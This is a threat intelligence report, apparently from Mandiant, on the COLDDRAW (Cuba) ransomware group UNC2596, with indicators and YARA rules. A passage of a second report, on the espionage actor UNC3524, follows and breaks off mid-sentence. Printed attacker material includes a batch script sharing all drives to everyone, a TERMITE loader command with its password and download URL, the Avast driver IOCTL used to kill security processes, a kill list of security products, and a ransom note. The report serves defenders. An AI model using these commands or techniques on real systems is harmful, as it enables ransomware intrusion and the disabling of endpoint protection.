involving multiple backdoors and built-in Windows utilities. Beyond commonplace tools, like Cobalt Strike BEACON and NetSupport,
UNC2596 has used novel malware, including BURNTCIGAR to disable endpoint protection, WEDGECUT to enumerate active hosts, and the
BUGHATCH custom downloader. In incidents where COLDDRAW was deployed, UNC2596 used a multi-faceted extortion model where data is
stolen and leaked on the group's shaming website, in addition to encryption using COLDDRAW ransomware. COLDDRAW operations have
impacted dozens of organizations across more than ten countries, including those within critical infrastructure.
Victimology
The threat actors behind COLDDRAW ransomware attacks have not shied away from sensitive targets (Figure 1). Their victims include utilities
providers, government agencies, and organizations that support non-profits and healthcare entities, however, we have not observed them
attacking hospitals or entities that provide urgent care. Around 80% of impacted victim organizations are based in North America, but they
have also impacted several countries in Europe as well as other regions (Figure 2).
Figure 1: Alleged COLDDRAW victims by industry
1/12
Figure 2: Alleged COLDDRAW victims by country
Shaming Website
Since at least early 2021, COLDDRAW ransomware victims have been publicly extorted by the threat actors who threaten to publish or sell
stolen data (Figure 3). Each shaming post includes information on the 
date the files were received.
 While the shaming site was not included
in ransom notes until early 2021, one of the entries on the site states that the files were received in November 2019. This is consistent with
earliest samples uploaded to public malware repositories and may represent the earliest use of the ransomware. Notably, while the data
associated with most of the victims listed on this site are provided for free, there is a paid section which listed only a single victim at the time of
publication.
Figure 3: Cuba (aka COLDDRAW) Ransomware Shaming Tor site (2021-12-31)
Attack Lifecycle
UNC2596 incidents that have led to COLDDRAW ransomware deployment have involved a mix of public and private tools, some of which are
believed to be private to them. The threat actors use several malware and utilities that are publicly available including NetSupport, Cobalt
Strike BEACON, built-in Windows capabilities such as PsExec, RDP, and PowerShell, malware available for purchase such as WICKER, and
exploits with publicly available proof-of-concept code. UNC2596 also uses several tools and scripts that we have not observed in use by other
threat activity clusters to date, including BUGHATCH, BURNTCIGAR, WEDGECUT, and COLDDRAW. See the 
Notable Malware and Tools
section for additional detail.
Initial Reconnaissance / Initial Compromise
Mandiant has observed UNC2596 frequently leverage vulnerabilities affecting public-facing Microsoft Exchange infrastructure as an initial
compromise vector in recent COLDDRAW intrusions s where the initial vector was identified. The threat actors likely perform initial
reconnaissance activities to identify Internet-facing systems that may be vulnerable to exploitation.
2/12
Establish Foothold
In COLDDRAW ransomware incidents, where initial access was gained via Microsoft Exchange vulnerabilities, UNC2596 subsequently
deployed webshells to establish a foothold in the victim network. Mandiant has also observed these actors deploy a variety of backdoors to
establish a foothold, including the publicly available NetSupport RAT, as well as BEACON and BUGHATCH, which have been deployed using
the TERMITE in-memory dropper.
Escalate Privileges
COLDDRAW ransomware incidents have mainly involved the use of credentials from valid accounts to escalate privileges. In some cases, the
source of these credentials is unknown, while in other cases, UNC2596 leveraged credential theft tools such as Mimikatz and WICKER. We
have also observed these threat actors manipulating or creating Windows accounts and modifying file access permissions. In one intrusion,
UNC2596 created a user account and added it to the administrator and RDP groups.
Internal Reconnaissance
UNC2596 has performed internal reconnaissance with the goals of identifying active network hosts that are candidates for encryption and
identifying files to exfiltrate for use in their multi-faceted extortion scheme. The threat actors have used WEDGECUT, a reconnaissance tool
typically with the filename check.exe. It identifies active hosts by sending PING requests to a list of hosts generated by a PowerShell script
named comps2.ps1 which uses the Get-ADComputer cmdlet to enumerate the Active Directory. The threat actors have interactively browsed
file systems to identify files of interest. Additionally, UNC2596 has routinely used a script named shar.bat to map all drives to network shares,
which may assist in user file discovery (Figure 4).
net share C=C:\ /grant:everyone,FULL
net share D=D:\ /grant:everyone,FULL
net share E=E:\ /grant:everyone,FULL
net share F=F:\ /grant:everyone,FULL
net share G=G:\ /grant:everyone,FULL
net share H=H:\ /grant:everyone,FULL
net share I=I:\ /grant:everyone,FULL
net share J=J:\ /grant:everyone,FULL
net share L=L:\ /grant:everyone,FULL
net share K=K:\ /grant:everyone,FULL
net share M=M:\ /grant:everyone,FULL
net share X=X:\ /grant:everyone,FULL
net share Y=Y:\ /grant:everyone,FULL
net share W=W:\ /grant:everyone,FULL
net share Z=Z:\ /grant:everyone,FULL
net share V=V:\ /grant:everyone,FULL
net share O=O:\ /grant:everyone,FULL
net share P=P:\ /grant:everyone,FULL
net share Q=Q:\ /grant:everyone,FULL
net share R=R:\ /grant:everyone,FULL
net share S=S:\ /grant:everyone,FULL
net share T=T:\ /grant:everyone,FULL
Figure 4: UNC2596 used a batch script to
enable sharing of all drives to facilitate
encryption and data harvesting
Move Laterally/Maintain Presence
3/12
During COLDDRAW incidents, UNC2596 actors have used several methods for lateral movement including RDP, SMB, and PsExec, frequently
using BEACON to facilitate this movement. Following lateral movement, the threat actors deploy various backdoors including the publicly
available NetSupport RAT, as well as BEACON and BUGHATCH, which are often deployed using the TERMITE in-memory dropper. These
backdoors are sometimes executed using PowerShell launchers and have in some cases used predictable filenames. For example, NetSupportrelated scripts and executables observed during COLDDRAW incidents have typically used the filename ra or ra<#> whereas BUGHATCH
scripts and executables have used the filename komar or komar<#>, followed by the appropriate extension.
Complete Mission
In order to complete their mission of multi-faceted extortion, the UNC2596 attempts to steal relevant user files and then identify and encrypt
networked machines. To facilitate encryption, and possibly to assist with collection efforts, the threat actors have used a batch script named
shar.bat which maps each drive to a network share (Figure 4). These newly created shares are then available for encryption by COLDDRAW.
During a more recent intrusion involving COLDDRAW, UNC2596 deployed the BURNTCIGAR utility using a batch script named av.bat.
BURNTCIGAR is a utility first observed in November 2021 which terminates processes associated with endpoint security software to allow
their ransomware and other tools to execute uninhibited. UNC2596 has also been observed exfiltrating data prior to encrypting victim systems.
To date, we have not observed UNC2596 using any cloud storage providers for data exfiltration; rather, they prefer to exfiltrate data to their
BEACON infrastructure. The threat actors then threaten to publish data of organizations that do not pay a ransom on their shaming site
(Figure 5).
Good day. All your files are encrypted. For decryption contact us.
Write here cloudkey[@]cock.li
reserve admin[@]cuba-supp.com
jabber cuba_support[@]exploit.im
We also inform that your databases, ftp server and file server were downloaded by us to our servers.
If we do not receive a message from you within three days, we regard this as a refusal to negotiate.
Check our platform: <REDACTED>[.]onion/
* Do not rename encrypted files.
* Do not try to decrypt your data using third party software,
it may cause permanent data loss.
* Do not stop process of encryption, because partial encryption cannot be decrypted.
Figure 5: Sample COLDDRAW Ransom Note
Notable Malware and Tools
In addition to the use of publicly available malware and built-in utilities, Mandiant has observed UNC2596 use malware that is believed to be
private to these threat actors, such as WEDGECUT, BUGHATCH, BURNTCIGAR, and COLDDRAW, or malware that is believed to be used by a
limited number of threat actors, such as TERMITE.
WEDGECUT
WEDGECUT, which has been observed with the filename check.exe, is a reconnaissance tool that takes an argument containing a list of hosts or
IP addresses and checks whether they are online using ICMP packets. This utility
s functionality is implemented using the IcmpCreateFile,
IcmpSendEcho, and IcmpCloseFile APIs to send a buffer containing the string 
Date Buffer
. In practice, the list provided to WEDGECUT has
been generated using a PowerShell script that enumerates the Active Directory using the Get-ADComputer cmdlet.
BUGHATCH
BUGHATCH is a downloader that executes arbitrary code on the compromised system downloaded from a C&C server. The code sent by the
C&C server includes PE files and PowerShell scripts. BUGHATCH has been loaded in-memory by a dropper written in PowerShell or loaded by
a PowerShell script from a remote URL.
BURNTCIGAR
BURNTCIGAR is a utility that terminates processes at the kernel level by exploiting an Avast driver
s undocumented IOCTL code (Table 1). The
malware terminates targeted processes using the function DeviceIoControl to exploit the undocumented 0x9988C094 IOCTL code of the Avast
driver, which calls ZwTerminateProcess with the given process identifier. We have observed a batch script launcher that creates and starts a
kernel service called aswSP_ArPot2 loading binary file C:\windows\temp\aswArPot.sys (legitimate Avast driver with SHA256 hash
4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1).
To deploy BURNTCIGAR at a victim, the actor brings their own copy of the vulnerable Avast driver and installs it at a service.
4/12
Executable Processes Killed by BURNTCIGAR
SentinelHelperService.exe
iptray.exe
dsa-connect.exe
SentinelServiceHost.exe
ccSvcHst.exe
ResponseService.exe
SentinelStaticEngineScanner.exe
sepWscSvc64.exe
avp.exe
SentinelAgent.exe
SEPAgent.exe
avpsus.exe
SentinelAgentWorker.exe
ssDVAgent.exe
klnagent.exe
SentinelUI.exe
smcgui.exe
vapm.exe
SAVAdminService.exe
PAUI.exe
VsTskMgr.exe
SavService.exe
ClientManager.exe
mfemms.exe
SEDService.exe
SBPIMSvc.exe
mfeann.exe
Alsvc.exe
SBAMSvc.exe
macmnsvc.exe
SophosCleanM64.exe
VipreNis.exe
masvc.exe
SophosFS.exe
SBAMTray.exe
macompatsvc.exe
SophosFileScanner.exe
RepMgr.exe
UpdaterUI.exe
SophosHealth.exe
RepUtils.exe
mfemactl.exe
McsAgent.exe
scanhost.exe
McTray.exe
McsClient.exe
RepUx.exe
cpda.exe
SophosSafestore64.exe
PccNtMon.exe
IDAFServerHostService.exe
SophosSafestore.exe
svcGenericHost.exe
epab_svc.exe
SSPService.exe
pccntmon.exe
epam_svc.exe
swc_service.exe
HostedAgent.exe
cptrayLogic.exe
swi_service.exe
tmlisten.exe
EPWD.exe
SophosUI.exe
logWriter.exe
FSAgentService.exe
SophosNtpService.exe
ntrtscan.exe
RemediationService.exe
hmpalert.exe
TmCCSF.exe
TESvc.exe
SophosLiveQueryService.exe
TMCPMAdapter.exe
cptrayUI.exe
SophosOsquery.exe
coreServiceShell.exe
EFRService.exe
5/12
SophosFIMService.exe
coreFrameworkHost.exe
MBCloudEA.exe
swi_fc.exe
ds_monitor.exe
MBAMService.exe
SophosMTRExtension.exe
CloudEndpointService.exe
Endpoint Agent Tray.exe
sdcservice.exe
CETASvc.exe
EAServiceMonitor.exe
SophosCleanup.exe
EndpointBasecamp.exe
MsMpEng.exe
Sophos UI.exe
WSCommunicator.exe
AvastSvc.exe
SavApi.exe
dsa.exe
aswToolsSvc.exe
sfc.exe
Notifier.exe
bcc.exe
AvWrapper.exe
WRSA.exe
anet.exe
bccavsvc.exe
a.exe
aus.exe
AvastUI.exe
Table 1: Processes Killed by BURNTCIGAR
COLDDRAW
COLDDRAW is the name Mandiant uses to track the ransomware observed in Cuba Ransomware operations. This ransomware appends the
.cuba file extension to encrypted files. When executed, it terminates services associated with common server applications and encrypts files on
the local filesystem and attached network drives using an embedded RSA key. Encrypted files are rewritten with a COLDDRAW-generated
header prior to the encrypted file contents. For large files, only the beginning and end of the file will be encrypted.
TERMITE
TERMITE is a password-protected memory-only dropper which contains an encrypted shellcode payload. Observed payloads have included
BEACON, METASPLOIT stager, or BUGHATCH. TERMITE requires the actor to specify the ClearMyTracksByProcess export and supply a
password as a command line option to operate successfully (Figure 6). Mandiant suspects that TERMITE may be available to multiple groups
and is not exclusively used by UNC2596.
Rundll32.exe c:\windows\temp\komar.dll,ClearMyTracksByProcess 11985756
Figure 6: TERMITE command line execution
Tracking TERMITE
During UNC2596 intrusions involving COLDDRAW, the actors load tools and malware from web accessible systems that were also typically
used for BEACON. Over a period of approximately six months, Mandiant Advanced Practices tracked a TERMITE loader at
hxxp://45.32.229[.]66/new.dll which used the password 11985756 to decode various BEACON payloads. Ongoing analysis of TERMITE
payloads collected during this timeframe showed that TERMITE underwent modifications to evade detections. UNC2596 also began using the
TERMITE password 11985757 in October 2021.
CHANITOR Overlaps
Mandiant has not responded to any intrusions where we have directly observed CHANITOR malware lead to COLDDRAW ransomware;
however, we have identified overlaps between CHANITOR-related operations and COLDDRAW incidents. These include infrastructure
overlaps, common code signing certificates, use of a shared packer, and naming similarities for domains, files, and URL paths, among others.
The code signing certificate with the Common Name FDFWJTORFQVNXQHFAH has been used to sign COLDDRAW payloads, as well as
SENDSAFE payloads distributed by CHANITOR. Mandiant has not observed the certificate used by other threat actors.
COLDDRAW payloads and SENDSAFE payloads distributed by CHANITOR have used a shared packer that we refer to as LONGFALL.
LONGFALL, which is also known as CryptOne, has been used with a variety of malware families.
6/12
The WICKER stealer has been used in both CHANITOR-related post-exploitation activity and COLDDRAW incidents, including samples
sharing the same command and control (C&C) server.
Payloads distributed through CHANITOR and payloads identified in COLDDRAW ransomware incidents have masqueraded as the same
legitimate applications including mDNSResponder and Java.
Public reporting has also highlighted some overlaps between COLDDRAW and ZEPPELIN, another ransomware that has reportedly been
distributed via CHANITOR.
Implications
As the number of vulnerabilities identified and publicly disclosed continues to increase year after year, Mandiant has also observed an increase
in the use of vulnerabilities as an initial compromise vector by ransomware threat actors including utilizing both zero-day and n-day
vulnerabilities in their activity; notable examples include UNC2447 and FIN11. Shifting towards vulnerabilities for initial access could offer
threat actors more accurate targeting and higher success rates when compared to malicious email campaigns, which rely more on
uncontrollable factors, such as victims
 interacting with malicious links or documents. The rise in zero-day usage specifically could be reflective
of significant funds and resources at the disposal of ransomware operators, which are being directed towards exploit research and development
or the purchasing of exploits from trusted brokers. However, threat actors do not have to use zero-days to be effective. A subset of n-day
vulnerabilities are often considered attractive targets for threat actors due to their impact of publicly exposed products, ability to facilitate code
execution after successful exploitation, and the availability of significant technical details and/or exploit code in public venues. As the number
of vulnerabilities publicly disclosed continues to rise, we anticipate threat actors, including ransomware operators, to continue to exploit
vulnerabilities in their operations.
Acknowledgements
With thanks toThomas Pullen and Adrian Hernandez for technical research, and Nick Richard for technical review.
MITRE ATT&CK
Mandiant has observed COLDDRAW activity involving the following techniques in COLDDRAW intrusions:
ATT&CK Tactic Category
Techniques
Initial Access
T1190:
Exploit Public-Facing Application
Discovery
T1010:
Application Window Discovery
T1012:
Query Registry
T1016:
System Network Configuration Discovery
T1018:
Remote System Discovery
T1033:
System Owner/User Discovery
T1057:
Process Discovery
T1082:
System Information Discovery
T1083:
File and Directory Discovery
T1087:
Account Discovery
T1518:
Software Discovery
T1486:
Data Encrypted for Impact
T1489:
Service Stop
Impact
Collection
T1056.001:
Keylogging
T1074.002:
Remote Data Staging
7/12
Defense Evasion
T1027:
Obfuscated Files or Information
T1055:
Process Injection
T1055.003:
Thread Execution Hijacking
T1070.004:
File Deletion
T1112:
Modify Registry
T1134:
Access Token Manipulation
T1134.001:
T1140:
Persistence
Command and Control
Resource Development
Execution
System Checks
T1553.002:
Code Signing
T1564.003:
Hidden Window
T1574.011:
Services Registry Permissions Weakness
T1620:
Reflective Code Loading
T1098:
Account Manipulation
T1136:
Create Account
T1136.001:
Local Account
T1543.003:
Windows Service
T1071.001:
Web Protocols
T1071.004:
T1095:
Non-Application Layer Protocol
T1105:
Ingress Tool Transfer
T1573.002:
Asymmetric Cryptography
T1583.003:
Virtual Private Server
T1587.003:
Digital Certificates
T1588.003:
Code Signing Certificates
T1608.001:
Upload Malware
T1608.002:
Upload Tool
T1608.003:
Install Digital Certificate
T1608.005:
Link Target
T1053:
Scheduled Task/Job
T1059:
Command and Scripting Interpreter
T1129:
Credential Access
Deobfuscate/Decode Files or Information
T1497.001:
T1059.001:
Lateral Movement
Token Impersonation/Theft
PowerShell
Shared Modules
T1569.002:
Service Execution
T1021.001:
Remote Desktop Protocol
T1021.004:
T1555.003:
Credentials from Web Browsers
Table 2: MITRE ATT&CK Framework
8/12
Mandiant Security Validation
In addition to previously released Actions, the Mandiant Security Validation (Validation) Behavior Research Team (BRT) has created
VHR20220223, which will also be released today, for tactics associated with UNC2596.
A102-561, Malicious File Transfer - TERMITE, Download, Variant #3
A102-560, Malicious File Transfer - TERMITE, Download, Variant #4
A102-559, Command and Control - TERMITE, DNS Query, Variant #1
A102-558, Malicious File Transfer - WEDGECUT, Download, Variant #1
A102-557, Malicious File Transfer - TERMITE, Download, Variant #2
A102-556, Malicious File Transfer - TERMITE, Download, Variant #1
A102-555, Malicious File Transfer - BURNTCIGAR, Download, Variant #4
A102-554, Malicious File Transfer - BURNTCIGAR, Download, Variant #3
A102-553, Malicious File Transfer - BURNTCIGAR, Download, Variant #2
A102-552, Malicious File Transfer - BURNTCIGAR, Download, Variant #1
A102-572, Malicious File Transfer - BUGHATCH, Download, Variant #4
A102-551, Malicious File Transfer - BUGHATCH, Download, Variant #3
A102-550, Malicious File Transfer - BUGHATCH, Download, Variant #2
A102-549, Malicious File Transfer - BUGHATCH, Download, Variant #1
A101-830 Command and Control - COLDDRAW, DNS Query
A101-831 Malicious File Transfer - COLDDRAW, Download, Variant #2
A101-832 Malicious File Transfer - COLDDRAW, Download, Variant #3
A101-833 Malicious File Transfer - COLDDRAW, Download, Variant #4
A101-834 Malicious File Transfer - COLDDRAW, Download, Variant #5
A101-835 Malicious File Transfer - COLDDRAW, Download, Variant #6
A104-800 Protected Theater - COLDDRAW, Execution
A151-079 Malicious File Transfer - COLDDRAW, Download, Variant #1
A100-308 Malicious File Transfer - CHANITOR, Download
A100-309 Command and Control - CHANITOR, Post System Info
A150-008 Command and Control - CHANITOR, Check-in and Response
A150-047 Malicious File Transfer - CHANITOR, Download, Variant #2
A150-306 Malicious File Transfer - CHANITOR, Download, Variant #1
YARA Signatures
The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through
an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are
intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family
changes.
9/12
rule TERMITE
meta:
author = "Mandiant"
strings:
$sb1 = { E8 [4] 3D 5? E3 B6 00 7? }
$sb2 = { 6B ?? 0A [3] 83 E9 30 }
$si1 = "VirtualAlloc" fullword
$ss1 = "AUTO" fullword
condition:
(uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B)
and all of them
rule FDFWJTORFQVNXQHFAH
meta:
author = "Mandiant"
description = "Detecting packer or cert."
md5 = "939ab3c9a4f8eab524053e5c98d39ec9"
strings:
$cert = "FDFWJTORFQVNXQHFAH"
$s1 = "VLstuTmAlanc"
$s2 = { 54 68 F5 73 20 70 00 00 00 00 00 00 00 BE 66 67 72 BD 68 20 63 BD 69 6E 6F C0 1F 62 65 EC 72 75 6E
FC 6D 6E 20 50 46 53 20 B9 66 64 65 }
$s3 = "ViGuua!Gre"
$s4 = "6seaIdFiYdA"
condition:
(uint16(0) == 0x5A4D) and filesize < 2MB and ( $cert or 2 of ($s*) )
Indicators
MALWARE FAMILY
Indicator
TERMITE/BEACON
irrislaha[.]com
BEACON
leptengthinete[.]com
BEACON
siagevewilin[.]com
BEACON
surnbuithe[.]com
TERMITE
64.235.39[.]82
BEACON
64.52.169[.]174
10/12
Suspect certificate
144.172.83[.]13
BEACON
190.114.254[.]116
BEACON
185.153.199[.]164
TERMITE
45.32.229[.]66
BEACON
23.227.197[.]229
Packer imphash
2322896bcde6c37bf4a87361b576de02
Packer cert CN
FDFWJTORFQVNXQHFAH
Packer cert md5
5c00466f092b19c85873848dcd472d6f
MALWARE
FAMILY
SHA1
SHA256
BUGHATCH
72a60d799ae9e4f0a3443a2f96fb4896
a304497ff076348e098310f530779002a326c264
6d5ca42906c60caa7d3e0564b0
BUGHATCH
bda33efc53c202c99c1e5afb3a13b30c
e6ea0765b9a8cd255d587b92b2a80f96fab95f15
101b3147d404150b3c0c882ab86
BUGHATCH
e78ed117f74fd7441cadc3ea18814b3e
6da8a4a32a4410742f626376cbec38986d307d5a
9ab05651daf9e8bf3c84b14613cd
BUGHATCH
ba83831700a73661f99d38d7505b5646
209ffbc8ba1e93167bca9b67e0ad3561c065595d
79d6b1b6b1ecb446b0f49772bf4
WEDGECUT
c47372b368c0039a9085e2ed437ec720
4f6ee84f59984ff11147bfff67ab6e40cd7c8525
c443df1ddf8fd8a47af6fbfd0b597
BURNTCIGAR
c5e3b725080712c175840c59a37a5daa
f347fa07f13c3809e4d2d390e1d16ff91f6dc959
f68cea99e6887739cd82865f9b97
BURNTCIGAR
c9d3b29e0b7662dafc6a1839ad54a6fb
d0bbbc1866062f9a772776be6b7ef135d6c5e002
4306c5d152cdd86f3506f91633ef
BURNTCIGAR
9ca2579117916ded7ac8272b7b47bb98
d1ef60835127e35154a04d0c7f65beee6e790e44
aeb044d310801d546d10b24716
BURNTCIGAR
(launcher)
26c09228e76764a2002ba643afeb9415
8247880a1bad73caaeed25f670fc3dad1be0954a
6ce206a1e1224e0a9d296d5fabff
TERMITE
98a2e05f4aa648b02540d2e17946da7e
e328b5e26a04a13e80e60b4a0405512c99ddb74e
811bb84e1e9f59279f844a040bf6
TERMITE
ddf2e657a89ae38f634c4a271345808b
b73763c98523e544c0ce0da7db7142f1e039c0a2
d1e14b5f02fb020db4e215cb5c3a
TERMITE
95820d16da2d9c4fbb07130639be2143
0a3ac9b182d8f14d9bc368d0c923270eed29b950
a722615c2ee101cde88c7f44fb2
TERMITE
896376ce1bbca1ed73a70341896023e0
f1be87ee03a2fb59d51cb4ba1fe2ece8ddfb5192
671e049f3e2f6b7851ca4e8eed2
TERMITE
f51c4b21445a0ece50b1f920648ed726
7c88207ff1afe8674ba32bc20b597d833d8b594a
ea5de5558396f66af8382afd98f2
TERMITE
7d4307d310ad151359b025fc5a7fca1a
49cfcecd50fcfcd3961b9d3f8fa896212b7a9527
ad12f38308a85c8792f2f7e1e46a
TERMITE
b62eec21d9443f8f66b87dd92ba34e85
172f28f61a35716762169d63f207071adf21a54c
9cec82bebe1637c50877ff11de5b
TERMITE
df0e5d91d0986fde9bc02db38eef5010
922ca12c04b064b35fd01daadf5266b8a2764c32
6cd25067316f8fe013792697f2f5
11/12
TERMITE
46b977a0838f4317425df0f2e1076451
39381976485fbe4719e4585f082a5252feedbcfd
13d333d5e3c1dd6c33dfa8fc76de
TERMITE
8c4341a4bde2b6faa76405f57e00fc48
4f3a1e917f67293578b7e823bca35c4dff923386
df89d3d1f795a77eefc14f035681
TERMITE
d5679f47d22c7c0647038ce6f54352e4
d9030bdbd0cb451788eaa176a032aa83cf7604c0
728a2d5dd2bf9c707431ff68e94c
TERMITE
e77af544cc9d163d81e78b3c4da2eee5
3ead9dd8c31d8cfb6cc53e96ec37bdcfdbbcce78
7f357ab4ac225e14a6967f89f209
TERMITE
98b2fff45a9474d61c1bd71b7a60712b
3b0ec4b6ad3cf558cac6b2c6e7d8024c438cfbc5
7b2144f2b5d722a1a8a0c47a43e
TERMITE
9a0a2f1dc7686983843ee38d3cab448f
363dc3cf956ab2a7188cf0e44bffd9fba766097d
03249bf622c3ae1dbed8b14cfaa8
TERMITE
fb6da2aa2aca0ce2e0af22b2c3ba2668
55b89bad1765bbf97158070fd5cbf9ea7d449e2a
1842ddc55b4bf9c71606451d404
COLDDRAW
3e96efd37777cc01cabb3401485297aa
f008e568c313b6f41406658a77313f89df07017e
bcf0f202db47ca671ed614604079
COLDDRAW
73c0f0904105b4c220c25f64506ea986
7ef1f5946b25f56a97e824602c58076e4b1c10b6
e35593fab92606448ac4cac6cd2
COLDDRAW
20a04e7fc12259dfd4172f5232ed5ccf
82f194e6baeef6eefb42f0685c49c1e6143ec850
482b160ee2e8d94fa6e4749f77e
Exchange
Payload
test.hta
becdcaa3a4d933c13427bb40f9c1cfbb
ee883ec4b7b7c1eba7200ee2f9f3678f67257217
6c4b57fc995a037a0d60166dead
BEACON
c0e88dee5427aae6ce628b48a6d310a7
fd4c478f1561db6a9a0d7753741486b9075986d0
44a4ce7b5d2e154ec802a67ef14
BEACON
bb2a2818e2e4514507462aadea01b3d7
8fec34209f79debcd9c03e6a3015a8e3d26336bb
6e66caaa12c3cafd1dc3f8c63053
BEACON
48f8cd5e42cdf06d5a520ab66a5ae576
0d0ac944b9c4589a998b5032d208a16e63db5817
d8df1a4d59a0382b367fd6936cce
12/12
UNC3524: Eye Spy on Your Email
mandiant.com/resources/unc3524-eye-spy-email
Since December 2019, Mandiant has observed advanced threat actors increase their investment in tools to facilitate bulk email collection from
victim environments, especially as it relates to their support of suspected espionage objectives. Email messages and their attachments offer a
rich source of information about an organization, stored in a centralized location for threat actors to collect. Most email systems, whether onpremises or in the cloud, offer programmatic methods to search and access email data across an entire organization, such as eDiscovery and
the Graph API. Mandiant has observed threat actors use these same tools to support their own collection requirements and to target the
mailboxes of individuals in victim organizations.
In this blog post, we introduce UNC3524, a newly discovered suspected espionage threat actor that, to date, heavily targets the emails of
employees that focus on corporate development, mergers and acquisitions, and large corporate transactions. On the surface, their targeting of
individuals involved in corporate transactions suggests a financial motivation; however, their ability to remain undetected for an order of
magnitude longer than the average dwell time of 21 days in 2021, as reported in M-Trends 2022, suggests an espionage mandate. Part of the
group
s success at achieving such a long dwell time can be credited to their choice to install backdoors on appliances within victim
environments that do not support security tools, such as anti-virus or endpoint protection. The high level of operational security, low malware
footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet set this group apart and emphasize the 
advanced
Advanced Persistent Threat. UNC3524 also takes persistence seriously. Each time a victim environment removed their access, the group
wasted no time re-compromising the environment with a variety of mechanisms, immediately restarting their data theft campaign. We are
sharing the tools, tactics, and procedures used by UNC3524 to help organizations hunt for and protect against their operations.
Attack Lifecycle
Initial Compromise and Maintain Presence
After gaining initial access by unknown means, UNC3524 deployed a novel backdoor tracked by Mandiant as QUIETEXIT, which is based on
the open-source Dropbear SSH client-server software. For their long-haul remote access, UNC3524 opted to deploy QUIETEXIT on opaque
network appliances within the victim environment; think backdoors on SAN arrays, load balancers, and wireless access point controllers. These
kinds of devices don
t support antivirus or endpoint detection and response tools (EDRs), subsequently leaving the underlying operating
systems to vendors to manage. These appliances are often running older versions of BSD or CentOS and would require considerable planning
to compile functional malware for them. By targeting trusted systems within victim environments that do not support any type of security
tooling, UNC3524 was able to remain undetected in victim environments for at least 18 months.
QUIETEXIT works as if the traditional client-server roles in an SSH connection were reversed. Once the client, running on a compromised
system, establishes a TCP connection to a server, it performs the SSH server role. The QUIETEXIT component running on the threat actor
infrastructure initiates the SSH connection and sends a password. Once the backdoor establishes a connection, the threat actor can use any of
the options available to an SSH client, including proxying traffic via SOCKS. QUIETEXIT has no persistence mechanism; however, we have
observed UNC3524 install a run command (rc) as well as hijack legitimate application-specific startup scripts to enable the backdoor to execute
on system startup.
Figure 1: How QUIETEXIT works with IoT devices
On startup, QUIETEXIT attempts to change its name to cron, but the malware author did not implement this correctly, so it fails. During our
incident response investigations, we recovered QUIETEXIT samples that were renamed to blend in with other legitimate files on the file
system. In one case with an infected node of a NAS array, UNC3524 named the binary to blend in with a suite of scripts used to mount various
filesystems to the NAS.
When run with command line arguments -X -p <port> the malware connects to a hard-coded command and control (C2) address on the
specific port. If this fails, it will attempt to connect to a second hard coded C2 if one is configured. The user can also specify a hostname or IP
address on the command line in the -p argument as well, e.g. -X -p <host>:<port> .The -X command line argument is case sensitive. If the
lower-case x option is used, then the malware will only attempt to connect to the C2 server once. If the upper-case X option is used, then the
malware will sleep for a random number of minutes between a hard-coded time range and fork to reattempt the connection. It re-attempts the
connection regardless of whether a connection has already been established. In our investigations we observed UNC3524 use C2 domains that
intended to blend in with legitimate traffic originating from the infected appliances. Using the example of an infected load balancer, the C2
domains contained strings that could plausibly relate to the device vendor and branded operating system name. This level of planning
demonstrates that UNC3524 understands incident response processes and tried to make their C2 traffic appear as legitimate to anyone that
might scroll through DNS or session logs.
All QUIETEXIT C2 domains that Mandiant observed used Dynamic DNS providers. Dynamic DNS allows for threat actors to update the DNS
records for domains in a near seamless fashion. When the C2s where inactive, the threat actor had the domains resolve to 127.0.0.1. However,
occasionally the port numbers would change or VPS infrastructure would be used rather than compromised camera botnet. We suspected that
when the threat actor experienced issues accessing a victim, they would troubleshoot using new infrastructure or different ports.
In some cases, the threat actor deployed a secondary backdoor as a means of alternate access into victim environments. This alternate access
was a REGEORG web shell previously placed on a DMZ web server. REGEORG is a web shell that creates a SOCKS proxy, keeping with
UNC3524
s preference for tunneling malware. Once inside the victim environment, the threat actor spent time to identify web servers in the
victim environment and ensure they found one that was Internet accessible before copying REGEORG to it. They also took care to name the file
so that it blended in with the application running on the compromised server. Mandiant also observed instances where UNC3542 used
timestomping to alter the Standard Information timestamps of the REGEORG web shell to match other files in the same directory.
UNC3542 only used these web shells when their QUIETEXIT backdoors stopped functioning and only to re-establish QUIETEXIT on another
system in the network. Rather than use the public version of REGEORG published by Sensepost, UNC3542 used a still public but little-known
version of the web shell that is heavily obfuscated. This allowed them to bypass common signature-based detections for REGEORG.
Move Laterally
Once UNC3524 established a foothold in the network they demonstrated a very low malware footprint and instead relied on built-in Windows
protocols. During our incident response investigations, we traced most accesses to a victim appliance infected with QUIETEXIT. QUIETEXIT
supports the full functionality of SSH, and our observation is consistent with UNC3524 using it to establish a SOCKS tunnel into the victim
environments. By standing up a SOCKS tunnel, the threat actor effectively plugs in their machine to an ethernet jack within the victim
network. By tunneling over SOCKS, the threat actor can execute tools to steal data from their own computer, leaving no traces of the tooling
itself on victim computers.
Figure 2: Tunneling through QUIETEXIT
To perform lateral movement to systems of interest, UNC3524 used a customized version of Impacket
s WMIEXEC. WMIEXEC uses Windows
Management Instrumentation to establish a semi-interactive shell on a remote host. The utility provides a semi-interactive shell by writing
command outputs to a file on the remote host and then printing the output to the terminal. The default Impacket version uses a hardcoded file
path and filename structure for these output files, providing a detection opportunity. Mandiant has observed UNC3524 modifying the
hardcoded file path (\\127.0.0.1\ADMIN$\debug\DEBUG.LOG) to evade basic detections for filenames such as Impacket
s default double
underscore files. We also observed the threat actor using the built-in reg save command to save registry hives and extract LSA secrets
offline.
Complete Mission
Once UNC3524 successfully obtained privileged credentials to the victim
s mail environment, they began making Exchange Web Services
(EWS) API requests to either the on-premises Microsoft Exchange or Microsoft 365 Exchange Online environment. In each of the UNC3524
victim environments, the threat actor would target a subset of mailboxes, focusing their attention on executive teams and employees that work
in corporate development, mergers and acquisitions, or IT security staff. It
s likely that the threat actor was targeting the IT security team as a
method to determine if their operation had been detected.
The methods that UNC3524 used to authenticate to the Exchange infrastructure evolved throughout the course of the intrusions; this may be a
result of them periodically losing access due to the natural changes in corporate infrastructure or simply updating their tactics. They
authenticated to Exchange using the username and password of targeted accounts, using accounts holding ApplicationImpersonation rights, or
